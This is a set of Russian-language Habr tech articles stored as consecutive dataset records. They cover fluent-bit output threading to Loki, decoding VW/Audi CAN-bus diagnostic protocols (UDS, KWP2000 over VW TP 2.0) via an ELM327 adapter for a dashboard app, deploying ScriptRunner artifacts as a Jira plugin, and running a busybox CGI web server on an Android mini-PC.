[2022/04/27 13:25:23] [debug] [output:loki:loki.0] task_id=1 assigned to thread #0
[2022/04/27 13:25:23] [debug] [upstream] KA connection #122 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:23] [debug] [upstream] KA connection #119 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:23] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:23] [debug] [upstream] KA connection #122 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:23] [debug] [upstream] KA connection #114 to loki-headless.logging.svc.cluster.local:3100 has been assigned (recycled)
[2022/04/27 13:25:23] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:23] [debug] [upstream] KA connection #114 to loki-headless.logging.svc.cluster.local:3100 is now available
[2022/04/27 13:25:23] [debug] [output:loki:loki.0] loki-headless.logging.svc.cluster.local:3100, HTTP status=204
[2022/04/27 13:25:23] [debug] [upstream] KA connection #119 to loki-headless.logging.svc.cluster.local:3100 is now available
```
По дебаг логу видно, что событие отправки логов стартует каждые 5 секунд, однако за счёт использования отдельного потока в каждом событии одновременно запускается сразу несколько задач (**task\_id=#**), которые отправляют в **Loki** накопившиеся чанки
Вывод
-----
* При использовании fluent-bit данная проблема может воспроизводиться при отправке не только в **Loki**, но и в другие хранилища/форвардеры логов. Стоит заметить, что версия 1.7.0 с многопоточностью появилась в феврале 2021 года и с тех пор в некоторые output плагины уже были добавлены значения **Workers** по-умолчанию (например, в [плагин elasticsearch](https://docs.fluentbit.io/manual/pipeline/outputs/elasticsearch) с версии [1.8.13](https://fluentbit.io/announcements/v1.8.13/)), так что при использовании более новых версий fluent-bit с этой проблемой можно не столкнуться
* Использование отдельных потоков - это отличное производительное решение и однозначно нужно использовать именно его вместо уменьшения интервала **Flush**
* Иногда документации недостаточно и полезно искать анонсы по релизам и читать исходники | https://habr.com/ru/post/675728/ | null | ru | null |
# Хакаем CAN шину авто. Мобильное приложение вместо панели приборов
Мобильное приложение VAG Virtual CockpitЯ продолжаю изучать CAN шину авто. В предыдущих статьях я [голосом открывал окна в машине](https://habr.com/ru/post/399043/) и [собирал виртуальную панель приборов на RPi](https://habr.com/ru/post/442184/). Теперь я разрабатываю мобильное приложение **VAG Virtual Cockpit**, которое должно полностью заменить приборную панель любой модели VW/Audi/Skoda/Seat. Работает оно так: телефон подключается к ELM327 адаптеру по Wi-Fi или Bluetooth и отправляет диагностические запросы в CAN шину, в ответ получает информацию о датчиках.
По ходу разработки мобильного приложения пришлось узнать, что разные электронные блоки управления (двигателя, трансмиссии, приборной панели и др.) подключенные к CAN шине могут использовать разные протоколы для диагностики, а именно UDS и KWP2000 в обертке из VW Transport Protocol 2.0.
### Программный сниффер VCDS
Программный сниффер VCDS: CAN-SnifferЧтобы узнать по какому протоколу общаются электронные блоки я использовал специальную версию VCDS с программным сниффером в комплекте. В этот раз никаких железных снифферов на Arduino или RPi не пришлось изобретать. С помощью CAN-Sniffer можно подсмотреть общение между VCDS и автомобилем, чтобы затем телефон мог прикинуться диагностической утилитой и отправлять те же самые запросы.
Я собрал некоторую статистику по использованию диагностических протоколов на разных моделях автомобилей:
* VW/Skoda/Seat (2006-2012) - приборная панель UDS. Двигатель и трансмиссия VW TP 2.0
* Audi (2006-2012) - приборная панель VW TP 2.0. Двигатель UDS. Трансмиссия VW TP 2.0
* VW/Skoda/Seat/Audi (2012-2021) - везде UDS
Протокол UDS
------------
**Unified Diagnostic Services (UDS)** - это диагностический протокол, используемый в электронных блоках управления (ЭБУ) автомобильной электроники. Протокол описан в стандарте ISO 14229-1 и является производным от стандарта ISO 14230-3 (KWP2000) и ныне устаревшего стандарта ISO 15765-3 (Diagnostic Communication over Controller Area Network (DoCAN)).Более подробно в [википедии](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services).
Диагностические данные от двигателя по протоколу UDS (Skoda Octavia A7)В моей машине (Skoda Octavia A5) приборка использует UDS протокол, это дало мне легкий старт разработки, т.к. данные были в простом формате **Single Frame SF** (фрейм, вся информация которого умещается в один CAN пакет) и большинство значений легко поддавались расшифровке. Volkswagen не дает документацию на формат значений, поэтому формулу расшифровки для каждого датчика приходилось подбирать методом логического мышления. Про UDS протокол очень хорошо и с подробным разбором фреймов написано на [canhacker.ru](https://canhacker.ru/protocol-uds/).
Разбор UDS пакета в формате Single FrameПример запроса и ответа температуры моторного масла:
```
7E0 0x03 0x22 0x11 0xBD 0x55 0x55 0x55 0x55
7E8 0x05 0x62 0x11 0xBD 0x0B 0x74 0x55 0x55
```
Запрос температуры моторного масла:
* 7E0 - Адрес назначения (ЭБУ двигателя)
* Байт 0 (**0x03**) - Размер данных (3 байта)
* Байт 1 (**0x22**) - SID идентификатор сервиса (запрос текущих параметров)
* Байт 2, 3 (**0x11 0xBD**) - PID идентификатор параметра (температура моторного масла)
* Байт 4, 5, 6, 7 (**0x55**) - Заполнитель до 8 байт
Ответ температуры моторного масла:
* 7E8 - Адрес источника (Диагностический прибор)
* Байт 0 (**0x05**) - Размер данных (5 байт)
* Байт 1 (**0x62**) - Положительный ответ, такой SID существует. 0x22 + 0x40 = 0x62. (**0x7F**) - отрицательный ответ
* Байт 2, 3 (**0x11 0xBD**) - PID идентификатор параметра (температура моторного масла)
* Байт 4, 5 (**0x0B 0x74**) - значение температуры моторного масла (20.1 °C формулу пока что не смог подобрать)
* Байт 6, 7 (**0x55**) - Заполнитель до 8 байт
Первая версия мобильного приложения VAG Virtual Cockpit умела подключаться только к приборной панели по UDS.
VAG Virtual Cockpit - экран с данными от приборной панели по протоколу UDSVW Transport Protocol 2.0
-------------------------
**Volkswagen Transport Protocol 2.0** используется в качестве транспортного уровня, а данные передаются в формате KWP2000. **Keyword Protocol 2000** - это протокол для бортовой диагностики автомобиля стандартизированный как ISO 14230. Прикладной уровень описан в стандарте [ISO 14230-3](https://files.s4wiki.com/docs/ISO-14230-3.pdf). Более подробно в [википедии](https://en.wikipedia.org/wiki/Keyword_Protocol_2000).
Т.к. KWP2000 использует сообщения переменной длины, а CAN шина позволяет передавать сообщения не больше 8 байт, то VW TP 2.0разбивает длинное сообщение KWP2000 на части при отправке по CAN шине и собирает заново при получении.
Диагностические данные от двигателя по протоколу KWP2000 (Skoda Octavia A5)ЭБУ двигателя моей машины использует протокол VW TP 2.0, поэтому мне пришлось изучить его. Видимо Volkswagen разрабатывала транспортный протокол не только для работы по надежной CAN шине, но и для менее надежных линий связи, иначе нет объяснения для чего требуется такая избыточная проверка целостности данных. Главным источником информации по VW TP 2.0 является сайт <https://jazdw.net/tp20>.
Разбор протокола VW TP 2.0 на примере подключения к первой группе двигателя:
| | |
| --- | --- |
| 200 01 C0 00 10 00 03 01 | Настраиваем канал с двигателем. Байт 0: 0x01 - двигатель, 0x02 - трансмиссия. Байт 5,4: 0x300 - адрес источника |
| 201 00 D0 00 03 40 07 01 | Получили положительный ответ. Байт 5,4: 0x740 - к двигателю обращаемся по этому адресу |
| 740 A0 0F 8A FF 32 FF | Настраиваем ЭБУ на отправку сразу 16 пакетов и выставляем временные параметры |
| 300 A1 0F 8A FF 4A FF | Получили положительный ответ |
| 740 10 00 02 10 89 | Отправляем команду KWP2000 startDiagnosticSession. Байт 0: 0x10 = 0b0001 - последняя строка данных + 0x0 счетчик отправляемых пакетов 0 (0x0 - 0xF) |
| 300 B1 | Получили первый ACK |
| 300 10 00 02 50 89 | Получили положительный ответ. Байт 0: 0x10 - cчетчик принимаемых пакетов 0 |
| 740 B1 | Мы отправили первый ACK, что получили ответ |
| 740 11 00 02 21 01 | Делаем запрос. Байт 0: 0x11 - счетчик отправляемых пакетов 1. Байт 3: 0x21 - запрос параметров. Байт 4: 0x01 - из группы 1 |
| 300 B2 | Получили второй ACK |
| 300 22 00 1A 61 01 01 C8 13 | Байт 0: 0x22 - 0b0010 (не последняя строка данных) + 0x02 (cчетчик принимаемых пакетов 2). Байт 1,2: 0x00 0x1A длина 26 байт. Байт 3,4: 0x61 0x01 - положительный ответ на команду запроса параметров 0x21+0x40=0x61 из 0x1 группы. Байт 5: 0х01 - Запрос RPM (соответсвует протоколу KW1281). Байт 6,7: (0xC8 \* 0x13)/5 = 760 RPM (формула соответствует протоколу KW1281) |
| 300 23 05 0A 99 14 32 86 10 | Байт 1: 0x05 - запрос ОЖ. Байт 2,3: (0x0A \* 0x99)/26 = 57.0 C. Байт 4: 0x14 = запрос лямбда контроль %. Байт 5,6: 0x32\*0x86; Байт 7: 0х10 - двоичная настройка |
| 300 24 FF BE 25 00 00 25 00 | 0x25 0x00 x00 - Заполнитель, до 8 параметров |
| 300 15 00 25 00 00 25 00 00 | Байт 0: 0x15 - 0b0001 (последняя строка данных) + 0x5 (счетчик принимаемых пакетов 5) |
| 740 B5 | Отправляем ACK. Прибывляем к нашему предыдущему ACK количество полученных пакетов 0xB1 + 0x4 = 0xB5 |
| 300 A3 | Запрос KeepAlive, что мы еще на связи |
| 740 A1 0F 8A FF 4A FF | Ответ KeepAlive |
| 740 A8 | Мы разрываем связь |
| 300 A8 | ЭБУ в ответ тоже разрывает связь |
Во второй версии мобильного приложения VAG Virtual Cockpit появилась возможность диагностировать двигатель и трансмиссию по протоколу VW TP 2.0.
VAG Virtual Cockpit - экран с данными от двигателя по протоколу VW TP 2.0Диагностический адаптер ELM327
------------------------------
Для меня некоторое время было вопросом, как получить данные из CAN шины и передать на телефон. Можно было бы разработать собственный шлюз с Wi-Fi или Bluetooth, как это делают производители сигнализаций, например Starline. Но изучив [документацию на популярный автомобильный сканер ELM327](https://www.elmelectronics.com/wp-content/uploads/2016/07/ELM327DS.pdf) понял, что его можно настроить с помощью AT команд на доступ к CAN шине.
Копия диагностического сканера ELM327Не все ELM327 одинаково полезныОригинальный ELM327 от компании elmelectronics стоит порядка 50$, в России я таких не встречал в продаже. У нас продаются только китайские копии/подделки, разного качества и цены 10-30$. Бывают полноценные копии, которые поддерживают все протоколы, а бывают и те которые умеют отвечать только на несколько команд, остальные игнорируют, такие адаптеры не имеют доступ к CAN шине. Я например пользуюсь копией Viecar BLE 4.0, который поддерживает 100% всех функций оригинала.
Для работы с протоколом UDS через ELM327 нужно указать адреса назначения, источника и разрешить длинные 8 байтные сообщения, по умолчанию пропускается максимум 7 байт.
**Последовательность ELM327 AT команд для работы с UDS по CAN шине:**
```
ATZ // сброс настроек
AT E0 // отключаем эхо
AT L0 // отключаем перенос строки
AT SP 6 // Задаем протокол ISO 15765-4 CAN (11 bit ID, 500 kbaud)
AT ST 10 // Таймаут 10 * 4 мс, иначе EBU шлет повторные ответы каждые 100 мс, а мы не отвечаем, потому что ожидаем конца, а нам нужен только первый ответ
AT CA F0
AT AL // Allow Long (>7 byte) messages
AT SH 7E0 // задаем ID, к кому обращаемся (двигатель)
AT CRA 7E8 // CAN Receive Address. Можно задать несколько 7Xe
AT FC SH 7E0
AT FC SD 30 00 00
AT FC SM 1 // Режим Flow Control 1 должен быть определен после FC SH и FC SD, иначе в ответ придет "?"
03 22 F4 0С 55 55 55 55 // UDS запрос оборотов двигателя
```
Для работы с протоколом KWP2000 через ELM327 нужно только указать адреса назначения и источника.
**Последовательность ELM327 AT команд для работы с VW TP 2.0 по CAN шине:**
```
ATZ // сброс настроек
AT E0 // отключаем эхо
AT L0 // отключаем перенос строки
AT SP 6 // Задаем протокол ISO 15765-4 CAN (11 bit ID, 500 kbaud)
AT PB C0 01
AT SP B // Задаем протокол USER1 CAN (11* bit ID, 125* kbaud)
AT ST 10 // Таймаут 10 * 4 мс, иначе EBU шлет повторные ответы каждые 100 мс, а мы не отвечаем, потому что ожидаем конца, а нам нужен только первый ответ
AT SH 200 // Обращаемся к 200 ID
AT CRA 201 // Ждем ответа от 201 Блок управления двигателем, 202 - Transmission, 203 - ABS, 207 - Приборная панель
01 C0 00 10 00 03 01 // Initiate channel setup with ECU module - 01, request it use CAN ID 0x300; Transmission 02; ABS 03
AT SH 740 // адрес блока 740 получен в ответе на предыдущую команду
AT CRA 300 // Ждем ответа от 300 ID
A0 0F 8A FF 32 FF // Tell ECU module to send 16 packets at a time, and set timing parameters
10 00 02 10 89 // Send KWP2000 startDiagnosticSession request 0x10 with 0x89 as a parameter.
B1 // ACK
11 00 02 1A 9B // Запрос названия блока KWP2000
```
Мобильное приложение VAG Virtual Cockpit
----------------------------------------
Для разработки мобильного приложения подключаемого к автомобилю требовалось:
* Сниффером собрать трафик от диагностической утилиты VCDS
* Изучить работу протоколов UDS, VW TP 2.0, KWP2000
* Настроить диагностический сканер ELM327 на работу с UDS и VW TP 2.0
* Изучить новый для меня язык программирования Swift
Мобильное приложение VAG Virtual Cockpit для iOSВ итоге получилось приложение, которое сочетает в себе функции отображения точных данных панели приборов и диагностика основных параметров двигателя и трансмиссии.
Пару слов про точность данных. Штатная панель приборов не точно показывает скорость - завышает показания на 5-10 км/ч, стрелка охлаждающей жидкости всегда на 90 °C, хотя реальная температура может быть 80 - 110 °C, стрелка уровня топлива до середины идет медленно, хотя топлива уже меньше половины и при нуле на самом деле топливо еще есть в баке. Производитель это делает для удобства и безопасности водителя.
На данный момент приложение показывает следующие параметры:
| | | |
| --- | --- | --- |
| **Приборная панель** | **Двигатель** | **Трансмиссия** (температура) |
| 1) Какая дверь открыта2) Скорость3) Обороты4) Температура масла5) Температура ОЖ6) Топливо в баке в л.7) Запас хода в км.8) Средний расход9) Время в машине10) Пробег11) Температура за бортом | 1) Обороты2) Массовый расход воздуха3) Температура забора воздуха4) Температура выхлопа (рассчитанная)5) Критический уровень масла6) Уровень масла7) Наддув турбины (реальный)8) Наддув турбины (ожидаемый)9) Пропуски зажигания в цилиндрах10) Углы откатов зажигания в цилиндрах | 1) ATF AISIN (G93)2) DSG6 (G93)3) Блок управления DSG6 (G510)4) Масло диска сцепления DSG6 (G509)5) Мехатроник DSG7 (G510)6) Процессор DSG77) Диск сцепления DSG7 |
Я стремлюсь чтобы приложение поддерживало как можно больше моделей автомобилей. Пока что поддерживаются производители: Volkswagen, Skoda, Seat, Audi. На разных комплектациях могут отображаться не все параметры, но это поправимо.
Сейчас я провожу тестирование версии 3.0. Приложение доступно только на iOS, после релиза 3.0 перейду к разработке версии для Android.
Если интересно потестировать и есть желание принять участие в проекте, то установить приложение можно [по ссылке](https://testflight.apple.com/join/Yx9vcPxQ). Также я веду бортжурнал на [drive2.ru](https://www.drive2.ru/r/skoda/octavia/4899916394579103529/), где делюсь полезной информацией и новостями о VAG Virtual Cockpit. | https://habr.com/ru/post/544144/ | null | ru | null |
# Как разворачивать артефакты Adaptavist ScriptRunner
 В процессе разработки программного обеспечения обычно используется несколько сред: среды для разработки, тестирования и промышленного использования. В этой статье поговорим о том, как переносить артефакты Adaptavist ScriptRunner между средами Atlassian Jira.
Исходный код разработанного в этой статье плагина можно посмотреть [здесь](https://bitbucket.org/alex1mmm/scriptrunner-plugin/src/master/).
При разработке программного обеспечения с помощью Adaptavist ScriptRunner создаются следующие артефакты:
1. cкрипты
2. объекты бизнес-процессов
3. скриптовые поля
4. лисенеры
5. REST методы
6. скриптовые фрагменты (script fragments)
7. бехейворы (behaviours)
8. кастомные JQL функции
В статье будем говорить о скриптах, а под объектами будем понимать скриптовые поля, лисенеры, REST методы, скриптовые фрагменты.
Так как мы используем несколько сред Jira, то после того, как программное обеспечение разработано в среде разработки, его необходимо перенести на остальные среды.
Программное обеспечение, разрабатываемое в ScriptRunner, можно перенести следующим образом:
1. Вручную.
2. Сохранить все скрипты в системе контроля версий, создать план развертывания в одном из серверов непрерывной интеграции и доставки и переносить скрипты автоматически при изменении ветки в репозитории. Но в этом случае объекты ScriptRunner будут все-равно переноситься вручную.
3. Сделать скриптовый плагин, который будет содержать все скрипты и объекты ScriptRunner. При установке данного плагина в Jira скрипты и объекты ScriptRunner будут автоматически разворачиваться.
В этой статье мы рассмотрим третий способ разворачивания скриптов и объектов ScriptRunner — разворачивание через скриптовый плагин.
Почитать про скриптовый плагин можно вот [здесь](https://scriptrunner.adaptavist.com/latest/jira/creating-a-script-plugin.html). Пример скриптового плагина можно посмотреть [здесь](https://bitbucket.org/Adaptavist/scriptrunner-samples/src/master/?_ga=2.222090395.2030217466.1525875113-593458345.1525875113).
Мы попробуем разработать свой плагин, который будет устанавливать скрипты и объекты Scriptrunner для Jira 7.9.0 и использовать версию ScriptRunner 5.3.9.
### Создаем плагин
Открываем терминал и вводим следующую команду:
```
atlas-create-jira-plugin
```
На вопросы в терминале отвечаем вот так:
```
Define value for groupId: : ru.matveev.alexey.scriptrunner
Define value for artifactId: : scriptrunner-plugin
Define value for version: 1.0.0-SNAPSHOT: :
Define value for package: ru.matveev.alexey.scriptrunner: :
Confirm properties configuration:
groupId: ru.matveev.alexey.scriptrunner
artifactId: scriptrunner-plugin version: 1.0.0-SNAPSHOT
package: ru.matveev.alexey.scriptrunner
Y: : Y
```
### Изменяем pom.xml
Ниже привожу pom.xml том виде, как он выглядит после модификации. Я написал комментарии к наиболее важным частям.
**pom.xml**
```
xml version="1.0" encoding="UTF-8"?
4.0.0
com.adaptavist.pom
scriptrunner-jira-standard
10
ru.matveev.alexey.scriptrunner
scriptrunner-plugin
1.0.0-SNAPSHOT
Example Company
http://www.example.com/
scriptrunner-plugin
This is the ru.matveev.alexey.scriptrunner:scriptrunner-plugin plugin for Atlassian JIRA.
atlassian-plugin
com.onresolve.jira.groovy
groovyrunner
${scriptrunner.version}
provided
com.onresolve.scriptrunner.platform
scriptrunner-test-libraries-jira
jndi
jndi
jta
jta
is.origo.jira
tempo-plugin
com.tempoplugin
tempo-core
groovyrunner
test
com.atlassian.plugin.automation
automation-api
com.atlassian.plugin
atlassian-spring-scanner-annotation
${atlassian.spring.scanner.version}
provided
javax.inject
javax.inject
1
provided
com.atlassian.maven.plugins
maven-jira-plugin
${amps.version}
true
${jira.version}
${jira.version}
-Xms512M -Xmx1g
true
false
jira-software
${jira.version}
jira-servicedesk
${jira.servicedesk.application.version}
${atlassian.plugin.key}
ru.matveev.alexey.scriptrunner.api,
org.springframework.osgi.\*;resolution:="optional",
org.eclipse.gemini.blueprint.\*;resolution:="optional",
\*
\*
com.atlassian.plugin
atlassian-spring-scanner-maven-plugin
${atlassian.spring.scanner.version}
atlassian-spring-scanner
process-classes
com.atlassian.plugin
atlassian-spring-scanner-external-jar
false
7.9.0
3.12.0
5.3.9
6.3.6
1.2.3
2.0.0
${project.groupId}.${project.artifactId}
6.3.11
UTF-8
adaptavist-external
https://nexus.adaptavist.com/content/repositories/external
false
true
fail
```
### Удаляем директории в созданном плагине
Удаляем директории **src/main/java** и **src/test**.
### Добавляем скрипты
Создадим несколько скриптов, которые будем использовать в объектах ScriptRunner.
**src/main/resources/ru/matveev/alexey/main/listeners/listener.groovy**
```
package ru.matveev.alexey.main.listeners
import org.slf4j.LoggerFactory;
def log = LoggerFactory.getLogger(this.getClass())
log.debug("listener {} executed", this.getClass())
```
**src/main/resources/ru/matveev/alexey/main/rest/rest.groovy**
```
package ru.matveev.alexey.main.rest
import com.onresolve.scriptrunner.runner.rest.common.CustomEndpointDelegate
import groovy.json.JsonBuilder
import groovy.transform.BaseScript
import javax.ws.rs.core.MultivaluedMap
import javax.ws.rs.core.Response
@BaseScript CustomEndpointDelegate delegate
doSomething(httpMethod: "GET", groups: ["jira-administrators"]) { MultivaluedMap queryParams, String body ->
return Response.ok(new JsonBuilder([abc: 42]).toString()).build();
}
```
**src/main/resources/ru/matveev/alexey/main/scriptedfields/scriptedfield.groovy**
```
package ru.matveev.alexey.main.scriptedfields
import org.slf4j.LoggerFactory;
def log = LoggerFactory.getLogger(this.getClass())
log.debug("scripted field {} executed", this.getClass())
```
**src/main/resources/ru/matveev/alexey/main/scripts/script.groovy**
```
package ru.matveev.alexey.main.scripts
import org.slf4j.LoggerFactory;
def log = LoggerFactory.getLogger(this.getClass())
log.debug("script {} executed", this.getClass())
```
**src/main/resources/ru/matveev/alexey/main/webfragments/webfragments.groovy**
```
package ru.matveev.alexey.main.scriptedfields
import org.slf4j.LoggerFactory;
def log = LoggerFactory.getLogger(this.getClass())
log.debug("scripted field {} executed", this.getClass())
```
### Протестируем скрипты
Теперь попробуем установить плагин и убедиться, что ScriptRunner видит скрипты из нашего плагина.
Открываем терминал, переходим в директорию плагина и запускаем команду:
```
atlas-run
```
После того, как Jira запустилась, нужно зайти в браузер по адресу localhost:8080/jira и войти в Jira под учетной записью admin:admin.
Для того, чтобы мы увидели логи наших скриптов, мы должны установить уровень DEBUG для пакета ru.matveev.
Заходим в System → Logging and Profiling и нажимаем на кнопку Configure. В поле Package name вводим ru.matveev, в поле Logging level выбираем DEBUG и нажимаем на кнопку Add.
Теперь попробуем выполнить один из наших скриптов. Переходим в Add-ons → Script Console и в закладке File вводим **ru/matveev/alexey/main/scripts/script.groovy**. Мы также видим, что в ScriptRunner появились каталоги скриптов ([script roots](https://jamieechlin.atlassian.net/wiki/spaces/GRV/pages/33619976/Upgrading+to+3.0#Upgradingto3.0-ScriptRoots)) с нашими скриптами.
Нажимаем на кнопку Run.
Мы видим, что наш скрипт успешно выполнился.
### Создаем лисенер, скриптовый фрагмент и REST метод
Устанавливаем наш плагин в среду разработки и начинаем создавать объекты.
Лисенер 1:
Лисенер 2:
REST-модуль:
Скриптовый фрагмент:
После того, как объекты созданы, мы должны выгрузить описания этих объектов и положить их в файл scriptrunner.yaml в нашем плагине.
Переходим в Add-ons → Built-in scripts → Export Configuration, выбираем все созданные нами объекты и нажимаем на кнопку Run.
Копируем все содержимое прямоугольника, выделенного красным цветом, и сохраняем в файл scriptrunner.yaml.
**src/main/resources/scriptrunner.yaml**
```
!descriptor
fragmentConfigItems:
- FIELD_DO_WHAT: NAVIGATE
FIELD_KEY: ru-matveev-alexey-web-item
FIELD_LINK_CONDITION:
- ''
- ''
FIELD_LINK_DESTINATION: ''
FIELD_MENU_LABEL: ''
FIELD_NOTES: Web Item
FIELD_SECTION: add-attachments-link
FIELD_STYLE_CLASS: ''
FIELD_WEIGHT: ''
canned-script: com.onresolve.scriptrunner.canned.jira.fragments.CustomWebItem
id: '520053084'
restConfigItems:
- FIELD_INLINE_SCRIPT: ''
FIELD_NOTES: REST endpoint
FIELD_SCRIPT_FILE: ru/matveev/alexey/main/rest/rest.groovy
canned-script: com.onresolve.scriptrunner.canned.common.rest.CustomRestEndpoint
id: '-168713291'
scriptListeners:
- FIELD_FUNCTION_ID: cf09831f83bc75ec27076557034b952dfc727040
FIELD_INLINE_SCRIPT: ''
FIELD_LISTENER_NOTES: Custom Listener
canned-script: com.onresolve.scriptrunner.canned.jira.workflow.listeners.CustomListener
clazz: ru/matveev/alexey/main/listeners/listener.groovy
events:
- 1
id: '-586588827'
params: '{"FIELD_LISTENER_NOTES":"Custom Listener","projects":"","events":"1","FIELD_INLINE_SCRIPT":"","clazz":"ru/matveev/alexey/main/listeners/listener.groovy","FIELD_FUNCTION_ID":"cf09831f83bc75ec27076557034b952dfc727040","canned-script":"com.onresolve.scriptrunner.canned.jira.workflow.listeners.CustomListener","id":"-268926325"}'
projects:
- ''
- FIELD_CONDITION: []
FIELD_FUNCTION_ID: ''
FIELD_LISTENER_NOTES: Add the current user as a watcher
canned-script: com.onresolve.scriptrunner.canned.jira.workflow.postfunctions.AddWatcher
events:
- 1
params: '{"FIELD_LISTENER_NOTES":"Add the current user as a watcher","projects":"","events":"1","FIELD_CONDITION":["",""],"FIELD_FUNCTION_ID":"","canned-script":"com.onresolve.scriptrunner.canned.jira.workflow.postfunctions.AddWatcher"}'
projects:
- ''
```
### Добавляем скриптовое поле
Бехейворы и скриптовые поля не могут быть добавлены через scriptrunner.yaml. В этой статье мы создадим скриптовое поле. Скриптовое поле будем создавать через Upgrade Task. Upgrade Task это функциональность плагина, которая позволяет запускать код при старте плагина. Код будет выполнен только в том случае, если он еще не выполнялся. Для того, чтобы написать Upgrade Task необходимо создать класс, который будет имплементировать интерфейс PluginUpgradeTask. Кроме того класс должен быть объявлен как публичный сервис.
Сначала создадим AbstractUpgradeTask.groovy класс (код позаимствован из примера скриптового плагина от ScriptRunner). Данный класс имплементирует метод getPluginKey, который содержит интерфейс PluginUpgradeTask. Метод имплементирован в отдельном классе, потому что он универсально работает для всех Upgrade Task в нашем плагине.
**src/main/groovy/ru/matveev/alexey/scriptedfields/AbstractUpgradeTask.groovy**
```
package ru.matveev.alexey.scriptedfields
import com.atlassian.plugin.osgi.util.OsgiHeaderUtil
import groovy.util.logging.Log4j;
import org.osgi.framework.Bundle;
import org.osgi.framework.FrameworkUtil;
@Log4j
abstract class AbstractUpgradeTask {
public String getPluginKey() {
Bundle bundle = FrameworkUtil.getBundle(AbstractUpgradeTask.class);
return OsgiHeaderUtil.getPluginKey(bundle);
}
}
```
Теперь создадим класс, который имплементирует интерфейс PluginUpgradeTask (код позаимствован из примера скриптового плагина от ScriptRunner).
**src/main/groovy/ru/matveev/alexey/scriptedfields/CreateScriptFieldUpgradeTask.groovy**
```
package ru.matveev.alexey.scriptedfields
import com.atlassian.jira.issue.context.GlobalIssueContext
import com.atlassian.plugin.spring.scanner.annotation.export.ExportAsService
import com.atlassian.sal.api.message.Message
import com.atlassian.sal.api.upgrade.PluginUpgradeTask
import com.onresolve.scriptrunner.runner.ScriptRunnerImpl
import com.onresolve.scriptrunner.test.ScriptFieldCreationInfo
import groovy.util.logging.Log4j
import javax.inject.Named
@Log4j
@Named
@ExportAsService
class CreateScriptFieldUpgradeTask extends AbstractUpgradeTask implements PluginUpgradeTask {
@Override
int getBuildNumber() {
return 1
}
@Override
String getShortDescription() {
return "This upgrade task creates a scripted field"
}
@Override
Collection doUpgrade() throws Exception {
def scriptFieldCreation = ScriptFieldCreationInfo.Builder.newBuilder()
.setName("TestScriptFieldSimpleNumberX")
.setSearcherKey(ScriptRunnerImpl.PLUGIN\_KEY + ":exactnumber")
.setTemplate("float")
.setContexts([GlobalIssueContext.instance])
.setScriptFile("ru/matveev/alexey/main/scriptedfields/scriptedfield.groovy")
.build()
scriptFieldCreation.create()
return null
}
}
```
### Тестируем перенос объектов
Собираем наш плагин командой `atlas-mvn package` и устанавливаем собранный плагин в среду тестирования.
Сморим создались ли объекты. Скриптовое поле:
Лисенеры:
REST-метод:
Скриптовый фрагмент:
Мы видим, что все объекты созданы. Теперь мы можем устанавливать наш плагин в любой инстанс Jira и пользоваться нашими скриптами и объектами. | https://habr.com/ru/post/358504/ | null | ru | null |
# Карманный сервер MiniX, или обзор серверных технологий для Android
[](https://picasaweb.google.com/lh/photo/gU1VILZSF-k-WvqV-yMg96SVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
На этот раз из [MiniX](http://7del.net/reviews/minix.html) мы будем делать не [Интернет-розетку](http://habrahabr.ru/post/149289/), а самый настоящий веб-сервер. Правда, маленький, но с полноценным php, python, bash, MySQL.
#### HTTPD
httpd, из [busybox](https://play.google.com/store/apps/details?id=stericson.busybox&hl=ru).
Тот самый, что использовался для интернет-розетки. Умеет CGI, поэтому можно писать веб-приложения на любом языке, которые можно запустить нa Android. А запустить можно [массу](http://code.google.com/p/android-scripting/) чего — Python, Perl, BeanShell/Rhino(JavaScript), Bsh, Lua.
Запускается из [консоли](https://play.google.com/store/apps/details?id=jackpal.androidterm) или через [ssh](https://play.google.com/store/apps/details?id=com.teslacoilsw.quicksshd), вот так:
```
httpd -p80 -vv -f -h /sdcard/www -c /sdcard/www/http.cfg
```
-p80 — параметр порта
-vv — режим отладки, -f — не становиться демоном. полезно при отладке — показывает обращения к серверу и обращение к файлам.
-h /sdcard/www — корневая директория сервера
-c /sdcard/www/http.cfg — файл конфигурации.
Из конфигурации наиболее интересна вот эта строчка:
\*.sh:/system/bin/sh — расширение файла(или имя), и чем этот файл исполняется. ограничений на папку(cgi-bin) нет, файлы могу исполняться в любых каталогах.
В busybox по умолчанию sh, но если вдруг вы пишите скрипты на bash(я верю, среди вас таких нет), то его можно найти [тут](http://4pda.ru/forum/index.php?showtopic=233150).
Скрипт пишем вот таким образом(позволю себе привести пример из прошлого топика):
```
!/bin/sh
/system/bin/echo $QUERY_STRING >/dev/ttyUSB0
echo "Content-type: text/html"
echo ""
echo ""
echo ""
```
Все что выводим на stdout — передается в браузер. Все параметры передающиеся get-ом, оказываются в переменной $QUERY\_STRING, в виде «r=1&g=3». Парсер пишите сами. Не забывайте, что время выполнения скрипта = время загрузки веб-страницы.
Кстати, в busybox есть практически все, что нужно для написания скриптов на шелле:
[](https://picasaweb.google.com/lh/photo/s9sCyDNOzEQ-QoKMRjYqsKSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Установка других интерпретаторов тоже довольно проста. Скачиваем, например [Python](http://code.google.com/p/android-scripting/downloads/detail?name=PythonForAndroid_r4.apk&can=2&q=), устанавливаем, запускаем.
[](https://picasaweb.google.com/lh/photo/wrkrzeON41WM6E5VAY_A76SVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Нажимаем Install, ждем загрузки и установки.
[](https://picasaweb.google.com/lh/photo/xe1at76DRjyFuPBLPK8ACaSVARZjNKNEt3ROuFGU3eQ?feat=embedwebsite)
Однако, просто так запустить python не выйдет, он ориентирован на запуск GUI.
Для того, чтоб получить возможность выполнять консольные скрипты, надо будет сделать простую скрипт-запускалку:
py:
```
PW=`pwd`
export EXTERNAL_STORAGE=/mnt/sdcard
export LANG=en
PYTHONPATH=/mnt/sdcard/com.googlecode.pythonforandroid/extras/python
PYTHONPATH=${PYTHONPATH}:/data/data/com.googlecode.pythonforandroid/files/python/lib/python2.6/lib-dynload
export PYTHONPATH
export TEMP=/mnt/storage/com.googlecode.pythonforandroid/extras/python/tmp
